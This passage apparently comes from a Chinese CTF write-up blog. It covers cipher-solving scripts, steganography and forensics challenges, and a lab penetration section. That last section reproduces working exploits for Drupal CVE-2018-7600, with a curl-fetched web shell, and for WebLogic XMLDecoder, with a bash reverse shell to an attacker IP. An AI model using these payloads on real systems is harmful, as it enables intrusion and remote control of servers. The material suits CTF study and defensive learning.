  # key=key.replace(' ','') 

  text = Remove(key)
  text = Ordertext(text)
  Matrix = CreatMatrix(text)
  print(Matrix)
  # print(Matrix[0])

  # 若明文字母数为奇数时,则在明文的末端添加(Z)作为填充;
  len = 0
  for i in plain:
    len = len + 1
  if len % 2 == 1:
    plain += 'z'

  cipher = encode(Matrix,plain,len)
  print(cipher)


  #flag:SKCTF{rhcwgodmdbordbbutcgbmasklzdx}

仿射变换

相关知识:仿射加密
参考原理:百度百科-仿射加密
m = 11x + 23(mod 26)
求得11模26的逆为19,因此c = 19(m - 23)(mod 26)

c = 'fwpcpywpcphnxaoxlywpcphnxlhco'

def getGcd(x,y):
  while True:
    divisor = x % y
    gcd = y
    x,y = y,divisor
    if divisor == 0:
      break
  return gcd

def setCoprime(a,n):
  for i in range(1,n):
    #print(getGcd(n,i))
    if(1 == getGcd(n,i)): 
      a.append(i)

def get_a(l,a,n):
  for i in l:
    if(1 == a * i % n):
      return i
  return 0

def decrypt(s,a,b,n):
  c = ''
  s.split()
  l = []
  setCoprime(l,n)
  #print(l)
  #print(get_a(l,a,n))
  for i in s:
    c += chr(((get_a(l,a,n) * ((ord(i)-97) - b)) % 26)+97)
  return c

print(decrypt(c,11,23,26))

#flag:SKCTF{wherethereisaflagthereisagirl}

MISC

Just Listen

解压压缩包得到图片和mp3。

password.jpg藏着密码,用stegsolve打开,切换通道,得到密码。

key{forensics_is_fun}

Mp3stego工具可以将信息隐藏到MP3中,并需用密钥解密。

Mp3stego工具:http://www.petitcolas.net/steganography/mp3stego/

直接用工具解密得到flag。

真香

下载zhenxiang.gif,放到binwalk中分析,发现有zip文件。

-e参数提取出来。

得到一个加密的压缩包,注释blind_water_mark是压缩包密码。

解压得到or.pngxor.png两张图片。

注释同时也是提示,两张图片用盲水印攻击即可getflag。

BlindWaterMark工具:https://github.com/chishaxie/BlindWaterMark

flag:

找到了也打不开


题目是一个pcap的数据包,打开后发现数据包里的数据有很多,但是http的只有一条,查看这条http数据包,发

现数据内容为一个.zip的压缩包,那思路就很简单了,把这个zip文件里的内容提取出来,保存为一个压缩包文件,

但是解压需要密码,没有任何提示的情况下爆破是不可能的,用winhex或者UE等软件查看下十六进制文件,发现

是zip的伪加密,修改下zip的加密标志即可打开压缩包得到Flag。

I_wanna_get_the_flag

GameMarker 8.0制作的I wanna 游戏。(原名:I wanna be the GGM)

描述通关之后有flag。

3种解题方法

1-通关游戏

既然是通关之后,那么凭技术通关也是没问题的。

2-修改save文件。

通过存档,玩游戏搞清save文件的格式,用16进制编辑。

标出的两位就是关卡的标志,题目说有12关,那么,把0112修改为011E,再进入游戏就可以得到flag。

3-反编译

下载GameMarker 8.0 Decompiler,将exe进行反编译。得到工程文件gmk,下载一个GameMarker 8.0版本即可读取到所有资源,找到通关后场景就可以得到flag。

取证

vmdk文件其实是物理硬盘的虚拟版,也存在着跟物理硬盘的分区和扇区中类似的填充区域。我们可以利用VMware直接映射虚拟磁盘。

磁盘空间内只有一个nothing.rar,解压后得到nothing.gif,为NTFS数据流隐写。所以压缩包需要使用WinRAR进行解压。

用lads.exe递归查询可看到flag.gif

使用Ntfs Streams Editor提取

对gif图分帧处理,得到最终flag。

详细解析及原理见

0sec.com.cn/2018-05-12/

靶场渗透

网上搜下drupal的的漏洞,找到poc

#!/usr/bin/env python3
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')


# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

target = 'http://192.168.211.105/'
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'curl http://192.168.211.127:2333/shell.php| tee shell.php'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'shell.php', verify=verify)
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

本地起个环境,利用curl来getshell

拿到shell利用msf丢个马上去

扫一波发现了10.0.0.3开着7001端口,weblogic

网上找下poc

#encoding: utf-8
import requests
headers = { 'Content-type': 'text/xml' }
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
  <void index="0">
<string>bash</string>
  </void>
  <void index="1">
<string>-c</string>
  </void>
  <void index="2">
<string>bash -i >&amp; /dev/tcp/192.168.211.149/12222 0>&amp;1</string>
  </void>
</array>
  <void method="start"/></void>
</java>
  </work:WorkContext>
</soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>'''
def exp(ip):
    print("Test for " + ip + " .....")
    r = requests.post(url=ip,data=data,headers=headers)
    print(r.status_code)
    print(r.text)

if __name__ == '__main__':
    ip = "http://10.0.0.3:7001/wls-wsat/CoordinatorPortType11"
    exp(ip)

修改下proxychains.conf加上代理,本地监听一下拿到shell


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录